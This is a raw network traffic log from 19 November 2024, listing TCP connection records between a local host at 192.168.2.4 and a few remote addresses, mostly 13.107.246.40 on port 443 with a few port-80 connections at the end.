Nov 19, 2024 22:07:05.587269068 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.587558985 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.587568045 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.587943077 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.587945938 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.623779058 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.625746965 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.625778913 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.626084089 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.626097918 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.679296970 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.679717064 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.679729939 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.680027962 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.680031061 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.741343975 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.741472960 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.741564035 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.741652966 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.741688967 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.741729975 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.741744995 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.743990898 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.744030952 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.744117022 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.744293928 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.744323969 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.762866974 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.762984037 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.763063908 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.763082027 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.763147116 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.763195038 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.763237000 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.763264894 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.763278961 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.765233040 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.765276909 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.765341997 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.765496969 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.765513897 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.773758888 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.774074078 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.774152994 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.774177074 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.774177074 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.774188042 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.774194956 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.775883913 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.775966883 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.776057005 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.776202917 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.776236057 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.861903906 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.861999035 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.862178087 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.862314939 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.862314939 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.862325907 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.862333059 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.865206003 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.865232944 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.865315914 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.865463018 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.865479946 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.914674997 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.915050030 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.915122986 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.915149927 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.915245056 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.915270090 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.915270090 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.915297985 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.915349960 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.917279005 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.917361975 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.917438030 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.917538881 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.917565107 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.024354935 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.027230978 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.027291059 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.027801991 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.027817011 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.049037933 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.049596071 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.049623966 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.050096989 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.050102949 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.053128004 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.053543091 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.053602934 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.053926945 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.053941011 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.144195080 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.147403955 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.147425890 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.149070024 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.149075031 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.202161074 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.202686071 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.202745914 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.203141928 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.203156948 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.210114002 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.211121082 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.211194038 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.211334944 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.211334944 CET	49844	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.211375952 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.211405039 CET	443	49844	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.214453936 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.214498997 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.214560986 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.214731932 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.214755058 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.225166082 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.225213051 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.229168892 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.237844944 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.237910032 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.237936020 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.237951994 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.237962961 CET	49845	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.237972021 CET	443	49845	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.240183115 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.240267038 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.240417004 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.240540028 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.240565062 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.244992018 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.246747017 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.246795893 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.246812105 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.246885061 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.246936083 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.246936083 CET	49846	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.246975899 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.247004032 CET	443	49846	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.249283075 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.249304056 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.250657082 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.250788927 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.250802040 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.322936058 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.323050022 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.323111057 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.323132038 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.323139906 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.323153019 CET	49847	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.323157072 CET	443	49847	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.325568914 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.325651884 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.325731039 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.325825930 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.325850010 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.382622004 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.382775068 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.382863998 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.382941961 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.382978916 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.383016109 CET	49848	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.383030891 CET	443	49848	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.384871960 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.384953976 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.385025978 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.385129929 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.385153055 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.491374969 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.499562979 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.499643087 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.499950886 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.499965906 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.523848057 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.524274111 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.524329901 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.524811983 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.524825096 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.529094934 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.529407024 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.529431105 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.529844999 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.529850960 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.613857985 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.614295006 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.614330053 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.614769936 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.614783049 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.669167995 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.669528961 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.669558048 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.670005083 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.670017958 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.681548119 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.681603909 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.681819916 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.681860924 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.681860924 CET	49849	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.681881905 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.681896925 CET	443	49849	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.684957027 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.685005903 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.685100079 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.685305119 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.685331106 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.705785990 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.705856085 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.705959082 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.705977917 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.706034899 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.706177950 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.706216097 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.706245899 CET	49850	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.706259966 CET	443	49850	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.708730936 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.708764076 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.708852053 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.709031105 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.709057093 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.711343050 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.711432934 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.711714983 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.711786985 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.711796045 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.711829901 CET	49851	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.711837053 CET	443	49851	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.714268923 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.714293003 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.714920044 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.715082884 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.715105057 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.796144962 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.796379089 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.796449900 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.796521902 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.796521902 CET	49852	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.796546936 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.796572924 CET	443	49852	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.799051046 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.799076080 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.799160004 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.799359083 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.799385071 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.849867105 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.850050926 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.850178957 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.858769894 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.858789921 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.858844042 CET	49853	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.858859062 CET	443	49853	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.867868900 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:06.868272066 CET	49858	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:06.870140076 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.870172024 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.870913029 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.871082067 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.871104956 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.963510990 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.964015961 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.964036942 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.964622021 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.964632988 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.991853952 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.992289066 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.992310047 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.992814064 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.992825031 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.993096113 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.993402004 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.993417025 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:06.993861914 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:06.993871927 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.074568987 CET	80	49858	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:07.074592113 CET	80	49838	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:07.074652910 CET	49858	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:07.074702024 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:07.074919939 CET	49858	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:07.085762024 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.086184978 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.086206913 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.086703062 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.086714029 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.145000935 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.145133018 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.145205975 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.145217896 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.145267010 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.145384073 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.145406961 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.145431042 CET	49854	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.145445108 CET	443	49854	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.150613070 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.150655031 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.150724888 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.150927067 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.150943041 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.155611038 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.156092882 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.156106949 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.156640053 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.156650066 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.172209024 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.172481060 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.172557116 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.172619104 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.172641993 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.172691107 CET	49855	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.172703028 CET	443	49855	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.174074888 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.174201965 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.174261093 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.174290895 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.174302101 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.174355984 CET	49856	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.174366951 CET	443	49856	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.175649881 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.175720930 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.175807953 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.175964117 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.175997019 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.177653074 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.177673101 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.177896023 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.178117037 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.178128004 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.270566940 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.270806074 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.270970106 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.270970106 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.271014929 CET	49857	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.271030903 CET	443	49857	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.274439096 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.274478912 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.274579048 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.274806023 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.274832010 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.281027079 CET	80	49858	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:07.295330048 CET	80	49858	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:07.295478106 CET	49858	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:07.299453974 CET	49864	80	192.168.2.4	31.41.244.11
